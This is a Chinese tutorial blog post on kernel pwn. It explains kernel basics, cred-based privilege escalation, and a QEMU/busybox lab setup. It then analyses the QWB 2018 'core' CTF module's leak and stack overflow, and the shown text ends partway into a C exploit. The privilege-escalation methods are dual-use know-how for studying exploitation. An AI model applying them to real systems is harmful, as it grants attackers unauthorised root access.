kernel pwn初探

collectcrop Lv3

kernel pwn初探

基础知识

基础的概念入门时不宜死磕,最好粗略看看留个印象,然后下去环境配好后,在调试探索时逐步深化理解。

如何理解内核

操作系统内核(Operation System Kernel)本质上也是一种软件,可以看作是普通应用程式与硬件之间的一层中间层,其主要作用便是调度系统资源、控制 IO 设备、操作网络与文件系统等,并为上层应用提供便捷、抽象的应用接口。操作系统内核实际上是我们抽象出来的一个概念,本质上与用户进程一般无二,都是位于物理内存中的代码 + 数据,不同之处在于当 CPU 执行操作系统内核代码时通常运行在高权限,拥有着完全的硬件访问能力,而 CPU 在执行用户态代码时通常运行在低权限环境,只拥有部分 / 缺失硬件访问能力。

分级保护域

分级保护域(hierarchical protection domains)又被称作保护环,简称 Rings ,是一种将计算机不同的资源划分至不同权限的模型。

cpu权限等级主要分为0-3四级,基本上常用的只有Ring0和Ring3,对应操作系统内核与用户进程,即 CPU 在执行用户进程代码时处在 ring3 下。

状态切换
  • 中断与异常
  • 特权级相关指令(iret,sysenter...)

现代操作系统的开发者包装出了系统调用(syscall),作为由”用户态 “切换到” 内核态“的入口,从而执行内核代码来完成用户进程所需的一些功能。当用户进程想要请求更高权限的服务时,便需要通过由系统提供的应用接口,使用系统调用以陷入内核态,再由操作系统完成请求。

当发生 系统调用产生异常外设产生中断 等事件时,会发生用户态到内核态的切换,具体的过程为:

  1. 通过 swapgs 切换 GS 段寄存器,将 GS 寄存器值和一个特定位置的值进行交换,目的是保存 GS 值,同时将该位置的值作为内核执行时的 GS 值使用。
  2. 将当前栈顶(用户空间栈顶)记录在 CPU 独占变量区域里,将 CPU 独占区域里记录的内核栈顶放入 rsp/esp。
  3. 通过 push 保存各寄存器值
  4. 通过汇编指令判断是否为 x32_abi
  5. 通过系统调用号,跳到全局变量 sys_call_table 相应位置继续执行系统调用。

退出时,流程如下:

  1. 通过 swapgs 恢复 GS 值。
  2. 通过 sysretq 或者 iretq 恢复到用户控件继续执行。如果使用 iretq 还需要给出用户空间的一些信息(CS, eflags/rflags, esp/rsp 等)。
虚拟内存分布

分为供用户使用的用户空间和供内核使用的内核空间。

32位内存分布:

64位内存分布:

进程权限管理

进程描述符:源码在include/linux/sched.h中,linux-5.15.153该版本部分源码如下,由于task_struct结构体定义极长,这里继续引用ctfwiki上的图片。

重要字段结构化表格

类别 字段 说明
调度相关 state, sched_class 调度信息
prio, static_prio 优先级
se, rt_priority 调度器实体
内存管理 mm, active_mm 内存描述符
stack, thread_info 内核栈与线程信息
标识与控制 pid, tgid 进程与线程组 ID
real_parent, children 父子关系管理
资源管理 files, fs, signal 文件、文件系统与信号资源
cred, limits 权限与资源限制
统计与架构相关 utime, stime CPU 时间
cpu_context, thread 上下文信息
安全与调试 ptrace, seccomp 调试与安全机制

进程权限凭证(credential)

结构体 cred 用以管理一个进程的权限,该结构体定义于内核源码 include/linux/cred.h 中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
struct cred {
atomic_long_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct ucounts *ucounts;
struct group_info *group_info; /* supplementary groups for euid/fsgid */
/* RCU deletion */
union {
int non_rcu; /* Can we skip RCU deletion? */
struct rcu_head rcu; /* RCU deletion hook */
};
} __randomize_layout;

我们主要关注各种id,这些字段用于定义任务的身份,并与权限检查密切相关。

  • kuid_t uidkgid_t gid
    • 真实用户 ID (uid) 和真实组 ID (gid)。
    • 定义进程创建时的原始身份,通常由父进程继承。
  • kuid_t suidkgid_t sgid
    • 保存的用户 ID 和保存的组 ID。
    • 用于暂时切换身份后恢复原始身份,常用于 SUID/SGID 程序。
  • kuid_t euidkgid_t egid
    • 有效用户 ID 和有效组 ID。
    • 实际权限检查使用的身份,与真实身份不同的场景通常出现在提权操作中。
  • kuid_t fsuidkgid_t fsgid
    • 文件系统操作使用的用户 ID 和组 ID。
    • 通常用于文件访问权限的检查。

一个进程的权限是由位于内核空间的 cred 结构体进行管理的,那么我们不难想到:只要改变一个进程的 cred 结构体,就能改变其执行权限。

在内核空间有如下两个函数,都位于 kernel/cred.c 中:

  • struct cred* prepare_kernel_cred(struct task_struct* daemon):该函数用以拷贝一个进程的 cred 结构体,并返回一个新的 cred 结构体,需要注意的是 daemon 参数应为有效的进程描述符地址。如果传递的 daemon 参数为 NULL,则创建一个默认的 cred,通常用于与 init 进程(PID 1)关联的场景,较新版内核会直接返回错误。
  • int commit_creds(struct cred *new):该函数用以将一个新的 cred 结构体应用到进程。

一般可以用prepare_kernel_cred先获取一个合法的cred结构体,然后更改里面的权限位后,再commit_creds应用到进程进行提权。但实际上在较新版的内核中,一般是直接改cred结构体,或是改task_struct的cred指针,抑或是调用commit_creds(&init_cred),来将具有root权限的init进程的cred结构体拷贝到我们当前进程。

可装载内核模块

LKMs 全称 Loadable Kernel Modules,即可加载内核模块。它是一种可以在运行中的内核中动态加载或卸载的模块化代码。LKMs 为操作系统内核提供了灵活性,使其能够根据需要添加或移除功能,而无需重新编译或重启内核。

常见的 LKMs 包括:

  • 驱动程序(Device drivers)
    • 设备驱动
    • 文件系统驱动
    • ...
  • 内核扩展模块 (modules)

一般ctf题中,漏洞都是存在在.ko文件中,也就是LKM中。

相关指令

  • insmod: 讲指定模块加载到内核中
  • rmmod: 从内核中卸载指定模块
  • lsmod: 列出已经加载的模块
  • modprobe: 添加或删除模块,modprobe 在加载模块时会查找依赖关系
内核交互

系统调用,指的是用户空间的程序向操作系统内核请求需要更高权限的服务,比如 IO 操作或者进程间通信。系统调用提供用户程序与操作系统间的接口,部分库函数(如 scanf,puts 等 IO 相关的函数实际上是对系统调用的封装(read 和 write))。

/usr/include/x86_64-linux-gnu/asm/unistd_64.h/usr/include/x86_64-linux-gnu/asm/unistd_32.h 分别可以查看 64 位和 32 位的系统调用号。

ioctl 是 Linux 和类 Unix 操作系统中用于设备控制的系统调用(system call)。它全称是 Input/Output Control,主要用于对设备执行特殊操作或者控制设备的行为,这些操作通常无法通过标准的读(read)、写(write)系统调用完成。

基本用法

典型的 ioctl 原型如下:

1
int ioctl(int fd, unsigned long request, ...);
  • fd: 文件描述符,表示目标设备或文件。
  • request: 请求码,用于指定具体的控制操作。
  • ...: 可选参数,通常是指向内存中数据的指针,具体取决于请求的操作。

常见用途

  1. 设备配置:设置设备参数(例如网络设备的 IP 地址、串口波特率)。
  2. 信息查询:获取设备的状态、硬件信息等。
  3. 非标准 I/O 操作:执行驱动中特殊的读写行为。
  4. 硬件控制:控制底层硬件设备,例如磁盘分区管理。

示例代码

一个简单的例子是设置终端属性:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <termios.h>

int main() {
struct termios term;
int fd = 0; // 通常 0 表示标准输入(终端)

if (ioctl(fd, TCGETS, &term) == -1) {
perror("ioctl error");
exit(1);
}

printf("终端配置已成功获取\n");
return 0;
}
  • TCGETS: 获取终端的当前配置。
  • struct termios: 存储终端配置的结构体。

请求码的构造

ioctl 请求码通常用四部分组成:

  • 类型:表示设备类型,例如磁盘、终端。
  • 编号:特定命令的编号。
  • 方向:表示是读、写还是两者皆有。
  • 大小:与之交互的数据大小。

_IO_IOR_IOW_IOWR 常被用于生成请求码。

  • _IO:无数据传输。
  • _IOR:数据从内核传输到用户空间(读)。
  • _IOW:数据从用户空间传输到内核(写)。
  • _IOWR:双向传输(读写)。

注意事项

  1. 设备驱动依赖ioctl 的功能完全由设备驱动程序实现,不同设备可能有不同的控制请求。
  2. 安全性问题:由于 ioctl 可以直接操作设备,对参数的检查不足可能会带来漏洞,尤其是在权限提升攻击中。

环境搭建

下载内核

清华源镜像站

下列步骤如果确信来源可靠的话,可以略过中间签名验证的三步。

1
2
3
4
5
6
curl -O -L https://mirrors.tuna.tsinghua.edu.cn/kernel/v5.x/linux-5.15.153.tar.xz		#可以选择自己想要的对应版本
unxz linux-5.4.98.tar.xz #解压
curl -O -L https://mirrors.tuna.tsinghua.edu.cn/kernel/v5.x/linux-5.15.153.tar.sign #下载签名
gpg --locate-keys gregkh@kernel.org #导入内核版本发布者的公钥。
gpg --verify linux-5.15.153.tar.sign #验证签名
tar -xf linux-5.15.153.tar #解压得到源码

然后配置内核的编译选项,可以用menuconfig来可视化配置。如果想要非交互式,直接调整 .config 文件或使用以下命令生成默认配置:

1
2
#默认配置
make defconfig
1
2
3
4
5
#可视化自定义配置
sudo apt update
sudo apt install libncurses-dev
sudo apt install flex
make menuconfig

这里我们主要关注调试方面的选项,依次进入到 Kernel hacking -> Compile-time checks and compiler options,然后勾选如下选项Compile the kernel with debug info,以便于调试。

如果要使用 kgdb 调试内核,则需要选中 KGDB: kernel debugger,并选中 KGDB 下的所有选项。这里我试了下,linux-5.4.98这个版本有KGDB选项,而linux-5.15.153这个版本就没这个选项了,据说是默认开启。

编译内核

编译内核前需要准备一些工具。

1
sudo apt install build-essential libncurses-dev bison flex libssl-dev libelf-dev bc

编译内核镜像,可以根据机器的核数来选择具体使用多少核来编译内核。这里我们将标准错误重定向到日志中看看。

1
2
nproc		#查看自己主机有多少核
make -j$(nproc) bzImage 2> build_error.log #-jn就是指定用n核进行并行编译,直接指定为nproc全速运行进行编译

编译时我遇到了以下错误:

1
2
3
4
5
6
make[2]: *** No rule to make target 'net/netfilter/xt_TCPMSS.o', needed by 'net/netfilter/built-in.a'.  Stop.
make[2]: *** Waiting for unfinished jobs....
make[1]: *** [scripts/Makefile.build:552: net/netfilter] Error 2
make[1]: *** Waiting for unfinished jobs....
make: *** [Makefile:1907: net] Error 2
make: *** Waiting for unfinished jobs....

根据https://bbs.t-firefly.com/forum.php?mod=viewthread&tid=1826这篇求助帖,发现问题大概是我们的文件系统大小写敏感,而net/netfilter/目录下只有xt_tcpmss.c这个文件。这里我们把其改名为xt_TCPMSS.c试试。然后最后出现如下提示,则编译成功。

编译内核驱动
编写代码

这里我们以自己编译一个输出Hello World的内核驱动模块为例。

因为我所用的环境是vscode,而windows上的环境没有几个内核的头文件,所以我们要配置wsl远程开发。

安装 WSL 后:

  1. 在 VSCode 中安装 Remote - WSL 插件。
  2. 点击 VSCode 左下角绿色的“打开远程窗口”图标,选择 “WSL: New Window”,进入到 WSL 环境的文件系统。
  3. 确保在 WSL 中设置好文件路径共享,通过 /mnt/c 可直接访问 Windows 文件。

在 WSL 中,可以直接开发和测试内核模块。具体代码实现如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//myko.c
#include <linux/kernel.h> //包含与内核相关的基本功能和工具,比如 printk 函数,用于向内核日志打印消息。
#include <linux/init.h> //定义了 module_init 和 module_exit 宏,这些用于指定模块的入口和退出函数。
#include <linux/module.h> //包含定义 Linux 内核模块所需的基础结构,例如 MODULE_LICENSE 宏。

//声明模块的许可证。内核需要知道你的模块是开源的还是闭源的。这里说明可以用 BSD 或 GPL 任一许可证。
MODULE_LICENSE("Dual BSD/GPL");

static int my_init(void) {
printk("Hello, world!\n"); //类似于用户态的 printf,但它打印的信息会进入内核日志而不是终端。
return 0;
}

static void my_exit(void) {
printk("Goodbye, cruel world!\n");
}

module_init(my_init); //注册模块的初始化函数,告诉内核加载模块时应调用 my_init。
module_exit(my_exit); //注册模块的清理函数,告诉内核卸载模块时应调用 my_exit。

加载模块

先创建Makefile以便编译我们写好的内核驱动模块。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
obj-m := myko.o

KERNELDR := /mnt/e/ctf/kernel/linux-5.15.153

PWD := $(shell pwd)

modules:
$(MAKE) -C $(KERNELDR) M=$(PWD) modules

moduels_install:
$(MAKE) -C $(KERNELDR) M=$(PWD) modules_install

clean:
rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions

obj-m:

指定需要编译的模块目标文件,这里是 myko.ko,源文件为 myko.c

KERNELDR:

定义内核源码路径,需要提供一个完整内核源码树。此目录必须配置了编译环境和内核头文件。

PWD:

当前模块源代码的路径(pwd 命令的输出),在编译内核模块时会作为参数传递给内核构建系统。

modules:

调用内核的构建系统,执行模块编译。

  • -C $(KERNELDR): 切换到内核源码目录并使用它的 Makefile。
  • M=$(PWD): 指定模块代码所在的目录,内核会到这里查找模块代码并编译。

modules_install: 安装编译完成的模块(myko.ko)到系统指定的模块目录(通常是 /lib/modules/$(uname -r)/)。

clean: 清除临时文件、编译生成的中间文件(.o.ko.mod.c 等)。

然后在终端make即可获取到myko.ko。可能会遇到以下错误:

可以先在我们编译好的kernel目录下执行make modules_prepare重新加载符号表。然后就只会报warning而不会直接Error退出。

这里还是缺少符号文件。我们先忽略。

然后我们想要通过已经编译好的内核,起一个虚拟环境,以测试自己写好的模块。首先我们安装BusyBox以快速新建一个根文件系统。

1
sudo apt-get install busybox

然后按以下方式新建根文件系统,用的是busybox。将一些常用指令创建链接到busybox,busybox会根据指令类型自动执行对应指令。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
mkdir initramfs
cd initramfs

# 创建文件结构
mkdir -p bin dev etc lib proc sys tmp

# 安装 busybox
cp $(which busybox) ./bin
cd bin
ln -s busybox sh
ln -s busybox init
cd ..

# 创建简单的 init 脚本
cat > init << EOF
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs none /dev
exec /bin/sh
EOF
chmod +x init

find . | cpio -o --format=newc | gzip > ../initramfs.cpio.gz

执行完以上命令后,我们就得到了initramfs.cpio.gz这样一个文件系统,然后我们可以用qemu虚拟机起虚拟环境。先写一个sh脚本。其中用到了qemu虚拟机,所以我们要先进行安装。

1
2
sudo apt update
sudo apt install qemu-system-x86
1
2
3
4
5
6
7
8
#run.sh
exec qemu-system-x86_64 \
-m 256 \
-nographic \
-append "console=ttyS0 earlyprintk=serial debug panic=0" \
-monitor /dev/null \
-kernel "/mnt/e/ctf/kernel/linux-5.15.153/arch/x86/boot/bzImage" \
-initrd "./initramfs.cpio"

然而一跑直接报错,执行不了/init。

这里搞了半天,甚至拿正常题目给的cpio文件系统能够进入内核正确执行。最后发现问题所在,是因为我们用系统自带的包管理器下载的busybox是动态编译的,所以在我们虚拟的环境里,没有配置动态链接库,也就执行不了。

那么我们可以从官网下载源码,然后自己指定静态编译。

1
make menuconfig
1
2
make -j3
make install

然后就能在项目根目录获取到一个静态编译的busybox,把这个busybox扔到我们待打包成文件系统的bin目录下。之后就能正常运行了。有了busybox,我们就可以把一些常用指令都扔去。这里可以写个脚本,把busybox支持的所有指令都给放到bin目录下。

1
2
3
4
5
cd initramfs/bin

for cmd in $(busybox --list); do
ln -sf busybox $cmd
done

然后对文件系统进行打包,解压。最后run一下看看能不能正常启动。

1
2
3
4
5
find . | cpio -o --format=newc | gzip > ../initramfs.cpio.gz
cd ../
gunzip initramfs.cpio.gz
cpio -idmv < initramfs.cpio
./run.sh

现在已经能启动了,不过tty出现了问题,但不影响我们对内核的模块进行测试。然后我们就可以把之前编译好的myko.ko扔到虚拟的文件系统里,重新打包一次并运行。

1
2
3
4
5
6
cp myko.ko ./initramfs/myko.ko
cd initramfs
find . | cpio -o --format=newc > ../initramfs.cpio
cd ../
cpio -idmv < initramfs.cpio
./run.sh

然后我们就可以装载模块,出现Hello,world!说明正确导入了内核的扩展模块。

题目提供环境

一般kernel pwn题会给出以下几种类型的文件。

1
2
3
4
xxx.sh		//启动脚本
bzImage //内核脚本
xxx.cpio //文件系统
xxx.ko //内核模块文件,相当于用户模式的.so动态链接库

内核镜像分类

  • vmlinux:原始内核文件

在当前目录下提取到 vmlinux ,为编译出来的原始内核文件。

  • bzImage:压缩内核镜像

在当前目录下的 arch/x86/boot/ 目录下提取到 bzImage ,为压缩后的内核文件,适用于大内核。

  • zImage && bzImage

zImage 是 vmlinux 经过gzip压缩后的文件。bzImage 中的 bz 表示“big zImage”。bzImage 不是用 bzip2 压缩,而是要偏移到一个位置,使用 gzip 压缩。两者的不同之处在于,zImage 解压缩内核到低端内存(第一个 640K),bzImage 解压缩内核到高端内存(1M 以上)。如果内核比较小,那么采用 zImage 或 bzImage 都行,如果比较大应该用 bzImage 。

其中我们来看看xxx.sh分析一下启动的过程。

如在DSBCTF-EasyKernel这个题中,其提供了3个文件。

run.sh中的内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash

exec qemu-system-x86_64 \
-cpu kvm64 \
-m 256 \
-nographic \
-kernel "bzImage" \
-append "console=ttyS0 panic=-1 pti=off kaslr quiet" \
-monitor /dev/null \
-initrd "./rootfs.cpio" \
-net user \
-net nic

-cpu kvm64

指定虚拟机的 CPU 类型为 kvm64。kvm64是 QEMU 提供的一个优化 CPU 类型,它专为 KVM 提供虚拟化支持。如果运行环境支持 KVM,则可以获得硬件加速。此选项对需要模拟 CPU 特性的程序(如针对 CPU 指令的漏洞开发)特别有用。

-m 256

设置虚拟机内存大小为 256 MB。可以根据需要调整这个数值来分配更多或更少的内存。

-nographic

让虚拟机运行在无图形模式(纯终端模式)。禁用图形输出窗口(例如 VGA 显示),仅使用标准输入输出(例如通过 ttyS0 访问)。

-kernel "bzImage"

指定要加载的 Linux 内核文件,通常是已编译好的 bzImage 文件。bzImage 是 Linux 内核的可引导压缩映像。

-append "console=ttyS0 panic=-1 pti=off kaslr quiet"

向内核传递启动参数:

  1. console=ttyS0
    • 将内核的输出和输入重定向到串行端口 ttyS0(第一个串行设备)。
    • 这通常与 -nographic 一起使用。
  2. panic=-1
    • 如果内核遇到致命错误(panic),虚拟机会无限期地等待,不会自动重启。
  3. pti=off
    • 关闭 Page Table Isolation(PTI)。PTI 是一个用于缓解 Meltdown 漏洞的安全措施,但会影响性能。
  4. kaslr
    • 随机化内核地址空间布局(Kernel Address Space Layout Randomization)。
    • 没有 off 说明功能是启用状态;在调试中可以关闭此功能。
  5. quiet
    • 启动时减少输出的日志信息,显示更简洁的控制台内容。

-monitor /dev/null

将 QEMU 的管理控制台(Monitor)的输入输出重定向到 /dev/null。QEMU 默认提供一个监控终端,用于控制虚拟机,这里通过设置为 /dev/null 禁用了该功能。

-initrd "./rootfs.cpio"

指定初始 RAM 磁盘(Initial RAM Disk),用 ./rootfs.cpio 文件作为虚拟机的初始根文件系统。rootfs.cpio 是一个打包的 CPIO 格式文件系统,虚拟机启动时会加载并挂载它为根文件系统。

-net user

启用用户模式网络(User Networking)。提供简单的 NAT 网络环境,不需要额外配置主机的网络。

-net nic

创建一个虚拟网络接口卡(NIC,Network Interface Card),用作虚拟机的网络设备。

然后我们要对文件系统进行解压,之后就能在当前目录下得到整个文件系统结构。

1
cpio -idmv < rootfs.cpio

之后我们直接./run.sh跑一下,发现已经能够运行起来了,但是由于是本地的环境,所以flag还要我们自己手动设置一下。可以在root目录下自己手动创建一个ctfshow_flag,然后再打包回去文件系统。

我们再仔细看看刚刚解压出的在根目录下的内容。其中有ctfshow.ko,也就是我们重点分析的漏洞存在的扩展模块。还有init文件,该文件是linux启动时的初始化文件,包含一些重要信息,而且可以修改该文件的一些内容来方便调试。我们来看看这道题的init里是什么内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/bin/sh
chown -R 0:0 /
mount -t tmpfs tmpfs /tmp
export PATH=/bin
export PATH=/sbin:$PATH

[ -d /dev ] || mkdir -m 0755 /dev
[ -d /sys ] || mkdir /sys
[ -d /proc ] || mkdir /proc
[ -d /tmp ] || mkdir /tmp
[ -d /run ] || mkdir /run
[ -d /etc ] || mkdir /etc
[ -d /home ] || mkdir /home

chmod 644 /etc/passwd
chmod 644 /etc/group
chown -R root:root /
chown 0:0 /root/ctfshow_flag
chmod 400 /root/ctfshow_flag
chmod 777 /tmp

chown ctfshow:ctfshow -R /home/ctfshow
chmod 777 /home/ctfshow
chmod 755 /dev

mkdir -p /var/lock
mount -t sysfs -o nodev,noexec,nosuid sysfs /sys
mount -t proc -o nodev,nosuid proc /proc
ln -sf /proc/mounts /etc/mtab
mount -t devtmpfs -o nosuid,mode=0755 udev /dev
mkdir -p /dev/pts
mount -t devpts -o noexec,nosuid,gid=5,mode=0620 devpts /dev/pts || true
mount -t tmpfs -o "noexec,nosuid,size=10%,mode=0755" tmpfs /run

insmod ctfshow.ko
chmod o+rw /dev/kqueue
chmod u+s /bin/ping

echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/perf_event_paranoid
echo 1 > /proc/sys/kernel/dmesg_restrict

if (exec 0</dev/console) 2>/dev/null; then
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
fi

exec /sbin/init "$@"

从该文件中我们能看出很多重要信息:

  • flag的权限被设置为了只有root权限可读。
  • 启用了kptr_restrict,perf_event_paranoid,dmesg_restrict的内核保护机制。
  • /bin/ping 设置了 SUID 属性,普通用户运行它时会临时具有 root 权限。如果该二进制文件可以被替换或加载动态链接库,则可能借此实现提权。
  • 存在/dev/kqueue这个设备驱动模块,可能是漏洞利用的关键。

工具安装

vmlinux-to-elf

此工具允许从 vmlinux/vmlinuz/bzImage/zImage 内核映像获取完全可分析的 .ELF 文件,其中包含恢复的函数和变量符号。

1
2
3
sudo apt install python3-pip
sudo pip3 install --upgrade lz4 zstandard git+https://github.com/clubby789/python-lzo@b4e39df
sudo pip3 install --upgrade git+https://github.com/marin-m/vmlinux-to-elf

使用方式

1
vmlinux-to-elf <input_kernel.bin> <output_kernel.elf>
ropper

用于获取gadget,比ropgadget快。

1
2
#安装
pip3 install ropper

使用方式

1
2
#使用,将结果存在g1文件里
ropper --file ./vmlinux --nocolor > g1
extract-vmlinux

能够从bzImage等提取出vmlinux。这个脚本在我们编译出的内核源码的scripts目录下。

使用方式

1
./extract-vmlinux ./bzImage > vmlinux

gdb调试

获取内核特定符号地址

1
2
grep prepare_kernel_cred  /proc/kallsyms
grep commit_creds /proc/kallsyms

获取驱动加载基地址,又有不同的方式。

1
2
cat /proc/modules
grep module_name /proc/modules

首先需要对 run.sh 做如下修改:

  • 添加 nokaslr 关闭地址随机化(不一定需要)。
  • 添加 -s,因为 qemu 其实提供了调试内核的接口,我们可以在启动参数中添加 -gdb dev 来启动调试服务。最常见的操作为在一个端口监听一个 tcp 连接。 QEMU 同时提供了一个简写的方式 -s,表示 -gdb tcp::1234,即在 1234 端口开启一个 gdbserver。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/bin/bash

exec qemu-system-x86_64 \
-cpu kvm64 \
-m 256 \
-nographic \
-kernel "bzImage" \
-append "console=ttyS0 panic=-1 pti=off nokaslr quiet" \
-monitor /dev/null \
-initrd "./rootfs.cpio" \
-net user \
-net nic \
-s

然后我们就可以在启动qemu后,然后gdb远程连接到gdbserver进行调试。-q指定安静模式,-ex为启动gdb后立即执行指令。

1
gdb -q -ex "target remote localhost:1234" 

在启动内核后,我们可以使用 add-symbol-file 来添加符号信息,比如

1
2
add-symbol-file vmlinux addr_of_vmlinux 
add-symbol-file ./your_module.ko addr_of_ko

基础利用手法

kernel ROP

题目复现

强网杯 2018 - core

首先我们解压文件系统,这里发现给出的core.cpio,但其类型是gzip压缩,所以我们要先用gunzip解压一下。

1
2
3
mv core.cpio ./core.cpio.gz
gunzip core.cpio.gz
cpio -idmv < core.cpio

题目给出了gen_cpio.sh,这个是用来重新打包文件系统的,以便我们修改init。其会把当前目录下所有内容打包,压缩并输出到我们命令行提供第一个参数所指定的目录处。

1
2
3
4
#gen_cpio.sh
find . -print0 \
| cpio --null -ov --format=newc \
| gzip -9 > $1

start.sh以及init文件的内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#start.sh
qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \

#------------------------------------------------------------------------------------------#
#init
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko

poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0 -f

然后我们尝试启动内核,但是会卡在启动界面,经过调试,我们把start.sh中的内存指派64M改为128M,就能够正常进入内核环境。

然后我们仔细看看init里面的内容,发现存在2分钟定时关闭,而且启动的shell是普通用户的shell(uid为1000),并且禁用了dmesg的内核日志查看以及直接cat /proc/kallsyms获取符号位置。但这道题的init中还是贴心的先把/proc/kallsyms迁移到了/tmp/kallsyms,那么其实我们还是能查看符号的偏移位置。

为了后续调试方便,我们可以修改init文件并重新对文件系统进行打包。对init改动处有两点,首先把poweroff的部分都注释掉,然后把setsid /bin/cttyhack setuidgid 1000 /bin/sh中的1000改成0,从而去除了关机以及以root权限启动shell。之后重新打包。

1
2
3
./gen_cpio.sh ./mycore.cpio.gz
gunzip mycore.cpio.gz
cpio -idmv < mycore.cpio

之后在start.sh中把core.cpio改为mycore.cpio即可,之后启动就不会自动关机,且权限为root了。

然后就是看core.ko这个内核驱动模块的漏洞了。

init_module注册了/proc/coreexit_core删除了/proc/core

core_ioctl这个相当于堆题的菜单,有不同的功能选项。

core_readv4[off] 拷贝 64 个字节到a1,a1也就是后面我们可以传入的用户空间的一个缓冲区,而且全局变量 off 是我们能够控制的,因此可以合理的控制 off 来 将canary 和一些地址读取到用户空间的缓冲区,然后再自己把这个缓冲区内的内容输出,从而能泄露内核空间的一些地址。

core_copy_func() 从全局变量 name 中拷贝数据到局部变量中,长度是由我们指定的,当要注意的是 qmemcpy 用的是 unsigned __int16,但传递的长度是 signed __int64,因此如果控制传入的长度为 0xffffffffffff0000|(0x100) 等值,就可以栈溢出了。

core_write() 向全局变量 name 上写,这样通过 core_write()core_copy_func() 就可以控制 ropchain 了

由于是第一次接触kernel pwn的exp编写,我这里直接拿exp来进行分析学习。这里先解释一下我们exp的目的,就是提权,像什么system("/bin/sh"),我们的exp实际可以直接调用,但是拿到的只是uid=1000的普通用户的权限。我们希望通过一系列内核漏洞的利用,最终能提高权限。而且内核漏洞的exp一般都是用c语言编写的,而不是之前所学pwn用python写exp脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
// gcc exploit.c -static -masm=intel -g -o exploit
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

void spawn_shell()
{
if(!getuid())
{
system("/bin/sh");
}
else
{
puts("[*]spawn shell error!");
}
exit(0);
}

size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;
/*
* give_to_player [master●●] check ./core.ko
./core.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=549436d
[*] '/home/m4x/pwn_repo/QWB2018_core/give_to_player/core.ko'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x0)
*/
size_t vmlinux_base = 0;
size_t find_symbols()
{
FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r"); //打开符号表,获取各符号偏移
